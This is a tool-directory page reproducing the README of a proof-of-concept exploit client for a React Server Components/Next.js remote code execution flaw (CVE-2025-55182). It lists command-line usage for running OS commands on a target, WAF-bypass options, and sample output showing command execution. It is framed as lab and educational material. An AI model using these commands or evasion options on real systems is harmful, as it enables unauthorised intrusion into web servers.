Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hidden-investigations/react2shell-scanner
Vulnerability ScannersExploitationWeb Application ExploitationWAF BypassPenetration TestingLearning & Education
GitHubhidden-investigations/react2shell-scanner

react2shell-scanner

Precision-Based Detection of RSC/Next.js Remote Code Execution Vulnerabilities (CVE-2025-55182, CVE-2025-66478)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View RepositoryWebsite
56 months agoNot yet reviewed

React2Shell Scanner – with PoC

CVE-2025-55182 – React Server Components RCE PoC
Educational exploit client for the Hidden Investigations React2Shell lab.

This repository contains a single-host proof-of-concept (PoC) exploit tool for the React2Shell vulnerability (CVE-2025-55182) targeting misconfigured React Server Components / Next.js applications.

It is designed to be used only against the official Hidden Investigations React2Shell lab or systems you explicitly own / administer.


⚠️ Legal & Ethical Disclaimer

This project is provided strictly for educational and defensive security research:

  • Only use this tool on:
    • The official Hidden Investigations React2Shell lab, or
    • Systems you own or have explicit written permission to test.
  • Do not point this at random websites, production systems, or infrastructure you don’t control.
  • The authors and Hidden Investigations take no responsibility for misuse or damage.

By using this tool, you agree to follow all applicable laws and regulations.


Features

  • 🔥 React2Shell exploit client for CVE-2025-55182
  • 🎯 Single-host focused (no mass scanning)
  • 📡 Support for custom paths and path lists
  • 🧪 Safe check mode (no OS commands, just a detection probe)
  • 🪟 Windows-friendly mode (whoami default)
  • 🛡️ WAF bypass helpers:
    • Junk multipart field (--waf-bypass, --waf-bypass-size)
    • Vercel layout tweak (--vercel-waf-bypass)
  • 🔐 TLS options (--insecure, custom headers)
  • 🧾 JSON output (-o/--output, --all-results)
  • 🧘 Clean quiet mode output (perfect for piping to other tools)

Requirements

  • Python: 3.8+ (tested with Python 3.10+)
  • Dependencies:
    • requests

Install dependencies via:

root@kitploit:~
pip install -r requirements.txt

Installation

  1. Clone the Hidden Investigations repo:
root@kitploit:~
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
  1. (Optional but recommended) Create a virtualenv:
root@kitploit:~
python3 -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate
  1. Install requirements:
root@kitploit:~
pip install -r requirements.txt
  1. Run the tool:
root@kitploit:~
python3 react2shell-scanner.py -h

Usage

Basic help:

root@kitploit:~
python3 react2shell-scanner.py -h

The tool requires a target URL:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

If you run it without -t/--target or -u/--url, it prints a branded help message and exits.


Command Line Options

Target & paths

Note: This PoC is single-host only. The -l/--list option is present but intentionally disabled.


Exploit / payload behavior


HTTP / TLS options


Output / UX options

Quiet mode example (nice, multi-line output):

root@kitploit:~
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

Output:

root@kitploit:~
total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

Bulk scanning flags (intentionally disabled)

The following flags exist to mirror Assetnote’s CLI, but are not implemented in this PoC to avoid mass scanning misuse:

OptionStatus
-l, --listNot implemented
--threads NNot implemented

If you use -l/--list, the tool will print a warning and exit, suggesting you use Assetnote’s original react2shell-scanner for large-scale safe scanning.


Examples

Run against local lab:

root@kitploit:~
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

Use WAF bypass with a larger junk field:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

Multiple paths on the same host:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

Paths from file:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

Safe check mode (no OS commands executed):

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check

JSON output of results to file:

root@kitploit:~
python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results

JSON Output Format

When -o/--output is used, the tool writes an array of objects like:

root@kitploit:~
[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]

Credits & Acknowledgements

  • Hidden Investigations – for publishing the React2Shell educational lab and PoC client.
  • @sakibulalikhan – tool author.
  • Assetnote – inspiration for WAF bypass ideas via their react2shell-scanner.

License

This project is licensed under the MIT License. See LICENSE for details.

📬 Contact us: [email protected]

Download Tool
OptionDescriptionDefault
-t, --targetTarget URL or domain (required unless --url is used)None
-u, --urlAlias for --target (Assetnote-style flag)None
--pathPath to test (can be used multiple times, e.g. /, /_next)/
--path-fileFile containing paths to test (one per line)None
OptionDescriptionDefault
-c, --commandCommand to execute on the target (when exploitation succeeds)id
--safe-checkUse a SAFE_CHECK payload (no OS command, just a marker string)off
--windowsAdjust defaults for Windows targets (e.g. use whoami when command is id)off
--waf-bypassPrepend a large junk multipart field to the request body for WAF evasionoff
--waf-bypass-size KBSize of the junk field in KB when using --waf-bypass128
--vercel-waf-bypassUse an alternate multipart layout intended to tweak Vercel WAF behavior (simplified PoC)off
OptionDescriptionDefault
--timeout SECONDSRequest timeout in seconds15 (or 20 if --waf-bypass and no timeout set)
-k, --insecureDisable SSL verification (like curl -k)off
-H, --headerCustom header, e.g. -H "X-Forwarded-For: 127.0.0.1" (repeatable)None
OptionDescriptionDefault
-o, --output FILEWrite JSON results to FILENone
--all-resultsWhen using --output, include non-vulnerable results as welloff
-v, --verboseVerbose mode – show HTTP status and X-Action-Redirect headeroff
-q, --quietQuiet mode – prints only the normalized command output on successoff
--no-colorDisable colored terminal outputoff